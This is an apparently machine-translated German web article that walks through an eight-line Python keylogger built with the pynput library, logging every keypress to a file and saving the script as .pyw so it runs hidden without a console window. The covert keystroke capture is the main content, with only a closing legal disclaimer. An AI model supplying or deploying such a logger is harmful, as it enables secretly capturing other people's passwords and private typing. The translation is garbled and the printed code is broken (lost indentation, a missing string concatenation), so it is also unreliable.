This is a machine translation. The original page (in English) is available here.

Neueste Nachrichten aus aller Welt: - Warum die USA erwägt TikTok Ban RSS-Feed

Home>Artikel>So Einfach wie überzeugend: Aufbau einer Einfachen Tasten-Rekorder in Python
Top-Keylogger
Lesen Sie mehr...

So Einfach wie überzeugend: Aufbau einer Einfachen Tasten-Rekorder in Python

  •  
User-Bewertung: 5 - 1 Stimmen

Dieser kleine Artikel wird Ihnen zeigen, wie erstellen Sie schnell und einfach eine kleine und sehr einfache Tasten-Rekorder in Python. Diese Tasten-Rekorder werden, bestehen aus acht Zeilen code, aber es funktioniert!


Für unsere Tasten-Rekorder, werden wir verwenden eine python-Bibliothek namens pynput (Sie können es hier finden: https://github.com/moses-palmer/pynput). Die Installation mit pip-Paket-manager.


Erstellen Sie eine Datei mit dem Namen Tasten-Rekorder.pyw starten Sie einen beliebigen text-editor und lassen Sie uns beginnen, erstellen Sie den Tasten-Rekorder.



from pynput.keyboard import Key, Listener
import logging
logdir = ""
logging.basicConfig(filename = (logdir"logfile.txt"),level = logging.DEBUG, format = '%(asctime)s : %(message)s')
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()

Das ist alles. Nur acht Zeilen. Hier ist, was jede Zeile für:


Die erste ist, alles über das importieren der Pakete (in unserem Fall - pynput) und Protokollierung, so dass jede Taste, die protokolliert werden, wenn Sie gedrückt werden.


Als Nächstes benötigen wir eine Anmeldung Verzeichnis, welches in diesem Fall ist zu leer (aber Sie können Ihre eigenen), so befindet es sich im gleichen Verzeichnis wie das Skript.


Die nächste Zeile beschäftigt sich mit der logging-Konfigurationen, in denen der code ist selbsterklärend. Die basicConfig () - Methode hat drei Parameter, von denen eine mit dem Namen. Nachdem es, wir haben einen Schlüssel, drücken Sie die listener-Methode – es wird die Protokollierung der jeweiligen Taste, nachdem es betätigt wurde. Also, jeder Tastendruck protokolliert werden.


Wie Sie wahrscheinlich bemerkt haben, retteten wir die Quell-Datei mit ein .pyw-Erweiterung statt .py ein. Der Grund dafür ist, dass in diesem Fall der Tasten-Rekorder laufen können, in den hintergrund, da der code in .pyw ausführen kann, ohne eine Konsole-Fenster. Einfach den code auszuführen, drücken Sie einige Tasten zufällig und stellen Sie sicher, dass alle diese Schlüssel angemeldet, um die Datei, die Sie angegeben. Es bedeutet, dass Sie eben erstellt haben, einen Tasten-Rekorder in Python, bestehend aus 8 Zeilen code!



Datum der Veröffentlichung:
Lesen Sie den vollständigen Artikel
Home>Artikel>So Einfach wie überzeugend: Aufbau einer Einfachen Tasten-Rekorder in Python
WICHTIG!!!! Installation von computer-monitoring-tools auf Computern, die Sie nicht besitzen oder haben keine Berechtigung zum monitor kann gegen lokale, Staatliche oder bundesstaatliche Gesetz.